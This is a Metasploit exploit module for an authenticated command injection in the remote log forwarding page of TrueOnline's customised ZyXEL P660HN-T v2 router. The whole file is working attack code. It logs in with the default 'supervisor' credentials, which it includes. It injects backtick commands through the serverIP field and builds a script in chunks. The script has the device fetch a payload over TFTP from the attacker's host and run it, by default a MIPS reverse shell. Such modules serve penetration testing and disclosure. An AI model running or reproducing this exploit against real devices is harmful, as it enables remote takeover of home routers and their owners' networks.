## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'TrueOnline / ZyXEL P660HN-T v2 Router Authenticated Command Injection', 'Description' => %q{ TrueOnline is a major ISP in Thailand, and it distributes a customised version of the ZyXEL P660HN-T v2 router. This customised version has an authenticated command injection vulnerability in the remote log forwarding page. This can be exploited using the "supervisor" account that comes with a default password on the device. This module was tested in an emulated environment, as the author doesn't have access to the Thai router any more. Any feedback should be sent directly to the module's author, as well as to the Metasploit project. Note that the inline payloads work best. There are Turkish and other language strings in the firmware, so it is likely that this firmware is not only distributed in Thailand. Other P660HN-T v2 in other countries might be vulnerable too. }, 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'References' => [ ['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'], ['URL', 'https://blogs.securiteam.com/index.php/archives/2910'] ], 'Targets' => [ [ 'P660HN-T v2', {}], ], 'Privileged' => true, 'Arch' => ARCH_MIPSBE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp' }, 'DisclosureDate' => 'Dec 26 2016', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username for the web interface (using default credentials)', 'supervisor']), OptString.new('PASSWORD', [true, 'Password for the web interface (using default credentials)', 'zyad1234']), OptAddressLocal.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]), OptInt.new('DELAY', [true, "How long to wait for the device to download the payload", 30]), ]) end def check res = send_request_cgi!({ 'uri' => '/js/Multi_Language.js', 'method' => 'GET' }) if res && res.body =~ /P-660HN-T1A_IPv6/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Unknown end end def send_cmd(cmd) res = send_request_cgi({ 'uri' => '/cgi-bin/pages/maintenance/logSetting/logSet.asp', 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { 'logSetting_H' => '1', 'active' => '1', 'logMode' => 'LocalAndRemote', 'serverPort' => rand_text_numeric(3), # we have a short space for the payload - only 28 chars! 'serverIP' => "1.1.1.1`#{cmd}`&#", } }) if res && res.code == 200 return true else return false end end def exploit # first we authenticate @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ 'uri' => '/cgi-bin/index.asp', 'query' => Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { 'Loginuser' => 'supervisor', 'Prestige_Login' => 'Login' } }) if res && res.code == 200 print_good("#{peer} - Successfully authenticated to the web interface.") else fail_with(Failure::Unknown, "#{peer} - Failed to authenticate to the web interface.") end #this filename is used to store the payload on the device -> the fewer chars the better! filename = rand_text_alpha_lower(5) # while echo'ing the payload, we can only send 10 chars at a time (see advisory for details) exec_file = '/tmp/' + rand_text_alpha_lower(1) script_file = %{#!/bin/sh cd /tmp;tftp -g -r #{filename} #{datastore['LHOST']};chmod +x /tmp/#{filename};sleep 5;/tmp/#{filename} &} counter = 10 res = send_cmd("echo -n \"#{script_file[0..counter]}\">#{exec_file}") if not res fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.") end while counter+1 < script_file.length if (counter + 10) > script_file.length ending = script_file.length - 1 else ending = counter + 10 end print_good("#{peer} - Successfully injected part of the payload, waiting 5 seconds before proceeding.") sleep 5 send_cmd("echo -n \"#{script_file[counter+1..ending]}\">>#{exec_file}") if not res fail_with(Failure::Unknown, "#{peer} - Failed to inject payload.") end counter += (ending - counter) end print_good("#{peer} - Injection finished!") @pl = generate_payload_exe # # start our server # print_status("#{peer} - Starting up our TFTP service") @tftp = Rex::Proto::TFTP::Server.new @tftp.register_file(filename,@pl,true) @tftp.start # # download payload # print_status("#{peer} - Asking the device to download and execute the payload") # these two commands have to be 15 chars or less! send_cmd("chmod +x #{exec_file}") send_cmd("#{exec_file} &") # wait for payload download wait_linux_payload @tftp.stop register_file_for_cleanup("/tmp/#{filename}") register_file_for_cleanup("#{exec_file}") sleep 10 handler end def wait_linux_payload print_status("#{peer} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @tftp.files.length == 0) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['DELAY']) @tftp.stop fail_with(Failure::Unknown, "#{peer} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end print_good("#{peer} - Payload was downloaded, wait for shell!") end end